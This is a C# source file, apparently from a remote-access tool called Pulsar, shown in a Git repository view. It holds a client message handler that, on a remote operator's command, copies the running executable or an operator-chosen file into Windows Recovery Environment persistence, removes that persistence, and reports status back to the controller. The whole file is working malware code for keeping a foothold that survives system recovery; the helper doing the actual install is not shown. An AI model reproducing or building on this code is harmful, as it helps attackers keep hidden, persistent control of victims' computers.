Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

140 lines
4.1 KiB
C#

using Pulsar.Client.Helper.WinRE;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.ClientManagement.WinRE;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
namespace Pulsar.Client.Messages
{
public class WinREPersistenceHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoAddWinREPersistence || message is DoRemoveWinREPersistence || message is AddCustomFileWinRE;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoAddWinREPersistence msg:
Execute(sender, msg);
break;
case DoRemoveWinREPersistence msg:
Execute(sender, msg);
break;
case AddCustomFileWinRE msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoAddWinREPersistence message)
{
try
{
string exeLocation;
try
{
exeLocation = Assembly.GetExecutingAssembly().Location;
if (string.IsNullOrEmpty(exeLocation))
{
// we running in memory
return;
}
}
catch (Exception ex)
{
// ye we def in memory
Debug.WriteLine($"Failed to get assembly location: {ex.Message}");
return;
}
byte[] bytes = System.IO.File.ReadAllBytes(exeLocation);
WinREPersistence.Uninstall();
WinREPersistence.InstallFile(bytes, ".exe");
client.Send(new SetStatus
{
Message = "Added WinRE Persistence"
});
}
catch
{
client.Send(new SetStatus
{
Message = "Failed to add WinRE Persistence"
});
}
}
private void Execute(ISender client, DoRemoveWinREPersistence message)
{
try
{
WinREPersistence.Uninstall();
client.Send(new SetStatus
{
Message = "Removed WinRE Persistence"
});
}
catch (Exception ex)
{
client.Send(new SetStatus
{
Message = $"Failed to remove WinRE Persistence: {ex.Message}"
});
}
}
private void Execute(ISender client, AddCustomFileWinRE message)
{
try
{
if (string.IsNullOrEmpty(message.Path))
{
client.Send(new SetStatus
{
Message = "Invalid path or arguments for custom file."
});
return;
}
if (!File.Exists(message.Path))
{
client.Send(new SetStatus
{
Message = "Custom file does not exist."
});
return;
}
byte[] fileBytes = File.ReadAllBytes(message.Path);
WinREPersistence.Uninstall();
string fileExtension = Path.GetExtension(message.Path);
WinREPersistence.InstallFile(fileBytes, fileExtension);
client.Send(new SetStatus
{
Message = "Added Custom File to WinRE Persistence"
});
}
catch (Exception ex)
{
client.Send(new SetStatus
{
Message = $"Failed to add custom file: {ex.Message}"
});
}
}
}
}